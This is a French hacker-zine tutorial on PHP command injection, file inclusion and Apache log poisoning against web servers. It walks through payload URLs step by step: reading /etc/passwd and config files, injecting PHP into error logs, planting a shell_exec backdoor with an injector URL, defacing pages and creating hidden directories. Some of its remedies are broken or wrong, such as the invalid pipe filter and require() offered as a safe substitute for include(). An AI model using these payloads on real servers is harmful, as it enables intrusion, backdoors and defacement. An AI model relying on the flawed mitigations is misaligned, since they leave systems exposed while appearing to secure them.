_________________________________________________________________________________________________________

------

------/~~~~~~~~~~~~~~~~~~\
---------=< |- Escape Shell for All-| >=--
------\~~~~~~~~~~~~~~~~~~/

 

I. Introduction


L'escape shell est une sortie sur un shell. Techniquement, un escape shell est une vulnérabilité qui se produit quand toutes les conditions d'un événement ne sont pas envisagées. On peut alors provoque une séquence clavier, qui sera exécutée au lieu d'être considéré comme dangereuse et bannie. Quand certains caractères ne sont pas filtré en cgi ou php, on abouti sur une séquence qui est interprété comme étant une commande shell.

Les conséquences sont des plus dramatiques... C'est comme ça que le célébrissime site de hack madchat.org s'est fait defacer il y a trois ans.

Cet article ne présente aucune nouvelle méthode, mais est juste une introduction général (avec de la pratique) sur les escapes shells.


II. ESCAPE SHELL

Le PHP ets un langage très performant. Il permet d'obtenir des informations, voire un accès à un système. Il est donc de ce fait vital pour tout administrateur et webmaster.

Ce langage possède une fonction system() permettant d'utiliser directement des commandes systèmes. Les conséquences de son utilisation sont dangereus. En effet, si on détourne un script qui utilise cette fonctions, on aura un access partiel sur le serveur (complet, non : c'est de plus en plus rares un httpd root.

Imaginons ce script :

<?
$upt = "uptime";
echo system($upt);
?>

Ici, on affiche l'uptime du serveur, pour des stats par exemple. Si on consulte ainsi: http://www.arenhack.com/system.php?upt=uptime, on obtient bien les stats. Or, si on détourne la fonction ainsi :

http://www.arenhack.com/system.php?upt=cat%20/etc/issue, on affiche : Red Hat Linux 9.2 Kernel 2.4.2-2 ...

En fait, comme on le voit, on peut se servir de ce script php comme d'un remote shell (un shell à distance) ayant les droits du démon httpd (souvent, cela implique les droits de roots). Evidemment, personne n'utilisera cette fonction ainsi, cependant, on peut détourner system() d'une manière plus intelligente et qui est plus courante surle Web. C'est l'utilisation des caractères spéciaux.

Soit le script php suivant :

<?echo system("coucou");
?>

Si on entre : http://www.arenhack.com/system.php?coucou | /bin/ls , la deuxième command "/bin/ls" sera exécutée par system et listera ce qu'il y a sur le serveur... Ainsi, les caratcères spéciaux qui ne sont pas filtrés peuvent être utilisés pour provoquer des escapes shells. On pourra solutionner le problème avec un tel filtre :

if ((strstr($cmd, "|") {
echo "Carcatère interdit";
break();
}

 


II. ESCAPE SHELL INTERRESSANTS SOUS APACHE

Techniquement, la faille include() fait partie des escapes shells, puisqu'en modifiant l'url on peut sortir sur un
shell, en obtenant une accès partiel au système.

Prenons un exemple type de faille include :

<?
include("config.php");
include("header.php");
if(file_existes($page))
include($page);
else
include("erreur404.php");
include("footer.php"); // fermeture du script
?>

 

Admettons qu'on veut tester si un tel script est vulnérable. Dans un premier temps, on vérifiera s'il permet le passage de path en argument :

http://www.arenhack.com/index.php?page=

Si cette url renvoie une erreur, c'est que le script accepte le passage de path en argument on obtient ici une faille include en profitant d'un escape shell, si le site exécute une tierce page :

http://www.arenhack.com/index.php?page=http://www.google.fr.

 

La chose devient plus coriace si l'on attaque ainsi :

http://www.arenhack.com/toto.php?page=$file;fopen("index.php", w);fputs("Owned by GrOsLaMeUrS");fclose("index.php");

Ici, on "deface" littéralement la page index.php en rempalçant le texte par notre jolie phrase poétique : "Owned by GrOsLaMeUrS". C'est ainsi, que security-info.org s'est fait defacer il y a quelques mois. On se prémunira de ce genre d'attaque en chownant correctement les répertoires et les fichiers concernés.
Cette faille est très dangereuse. On notera que defacer dans ce cas est stupide puisqu'on peut faire beaucoup
mieux. Décortiquons un peu plus.
Il serait de cette façon aisé de récupérer /etc/passwd du serveur. Ainsi http://www.arenhack.com/index.php?page=/etc/passwd permettra d'obtenir quelque chose ressemble à ça :

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:


Je ne vous le fais pas dire, ceci sera strictement inutile car vous ne trouverez plus sur le Net des /etc/passwd qui ne sont pas shadowed... Mais, on peut récupérer des informations. L'utilité ? Eh bien, sion sait que le serveur
tourne sur Apache, qu'on connait la version et l'OS précis, on pourra connaître à quelle faille ce serveur est vulnérable et, dès lors, le root du serveur sera rendu beaucoup plus aisé. Ce genre de path passé en argument nous donnera des informations très précieuses :

http://www.arenhack.com/index.php?page=/etc/inetd.conf

http://www.arenhack.com/index.php?page=/etc/issue

http://www.arenhack.com/index.php?page=/etc/motd

http://www.arenhack.com/index.php?page=/proc/cpuinfo


III. OBTENIR UN REMOTE SHELL

En réutilisant le même exemple que précédemment, voyons comment obtenir un remote shell sur le serveur avec les permissions du serveur http.

Il faut commencer par localiser le fichier de log de Apache : http://www.arenhack.com/index.php?page=/usr/local/apache/conf/httpd.conf

Le serveur va afficher des informations dont ces lignes :

DocumentRoot /home/www/arenhack/cgi-bin/ arenhack
ServerName files.arenhack.com
ScriptAlias /cgi-bin/ /home/www/arenhack/cgi-bin/ arenhack
ErrorLog logs/arenhack.com-error_log
CustomLog logs/files.arenhack.com-access_log combined
ServerAdmin webmaster@arenhack.com

On peut ainsi consulter le fichier de log arenhack.com-error_log...
Si on teste une requête qui ne marche pas ">http://www.arenhack.com/<?echo"tarlouse";?>, une ligne de plus s'affichera
dans le fichiers de log...

Par conséquent, si on y réfléchit, on peut écrire dans le fichier log... L'idée est d'y balancer un code exécutable. Comment ? Il suffit de le convertir en url-encode
voici un code en C qui convertit un char ascii en char url-encodé :

 

Pour la commande "<? system("ls"); ?>", on obtient : %3c%3f%20system%28%22ls%20%2dal%22%29%3b%20%3f%3e

Provoquons l'erreur pour placer notre code dans le fichier de log : ">http://www.arenhack.com/%3c%3f%20system%28%22ls%20%2dal%22%29%3b%20%3f%3e

On consulte la page de log http : http//www.arenhack.com/index.php?page=/usr/local/apache/logs/arenhack.com-error_log

et on obtient :

drwxr-xr-x 7 Nocte Nocte 4096 mer 20 00:00
...


Ainsi, le code sera interprété. On pourra donc attaquer un tel serveur en utilisant la fonctIon system() pour
obtenir une sorte de remote shell. Ensuite, il faut écrire une backdoor php :

<?=str_replace("?","!",shell_exec($cmd));?>

Placé dans un fichier php, on peut lui envoyer des commandes de la sorte :

http://www.serveurweb.com/fichier.php?cmd=uname+-a par exemple.

Enfin, le plus coriace, est de programmé l'injecteur de la backdoor. N'oubliez pas de traduire tous ces codes en url-encode :

%22);fclose($fp);?%3E%20">http://www.arenhack.com/index.php?page=<?$fp=fopen("/home/www/arenhack/cgi-bin/index.php","w+");fputs($fp,"<?=str_replace(\"?\",\"!\",shell_exec(\$cmd));?>");fclose($fp);?>

Ici, il faut trouver un fichier à ouvrir qui soit vulnérable forcément et world-writable. Enfin, il ne manque plus que accéder aux logs. Dès lors, on peut faire ce qu'on veut :

- pour créer un répertoire invisible : http://www.arenhack.com/index.php?cmd=mkdir+/var/.mom/


Cette faille est donc très importante. Pour la colmater, il faut procéder au même traitement que pour la faille include en chownant le répertoire correctement, cela afin d'éviter que l'utilisateur httpd ne puisse accéder aux
fichiers en dehors de htdocs (sa racine). Il vous mieux aussi installer Apache dans un autre répertoire que celui par défaut. On peut aussi parser les slashs pour ne pas changer de répertoire :

$page = ereg_replace("/","toto")

Il faut faire beaucoup de php pour maîtriser ce genre de faille. Par exemple, si cette page http://www.arenhack.com/index.php?toto= , renvoie cette erreur :

Fatal error: input in flex scanner failed in /home/apache/www on line 1

Cela signifie qu'on a :

<? include($toto);?>

C'est-à-dire qu'on peut passer directement un path a toto.

Même s'il n'existe pas de moyen publique et connue d'exploiter un include php pour lancer une appli en remote, mieux vaut évitez d'utiliser include et préférez des équivalent comme require().

N'oubliez pas aussi de regarder du côté du custom log (le deuxième log), on peut parfois exécuter du code àl'intérieur, comme pour le premier fichier de log.


IV. VOILA

Bref, cet article vous a présenté quelques méthodes d'escapes shells pouvant s'avérer néfastes pour un serveur.

N'essayez pas d'attaquer le serveur Arenhack de la sorte, toutes les informations fournis à son propos dans cet article sont toutes erronées. N'oubliez pas que, tout ça c'est pour le fun, et que l'essentiel est de comprendre ces techniques, afin de pouvoir se prémunir et mieux sécuriser les systèmes.


Have fun,
Nocte [DHS] / For ArenHack Team -- M.I.B. #1
greetz : medgi (subk), MeiK (IOC), etherlord (DHS), CL@D & SpS6m3N (AH)

--[EOF]--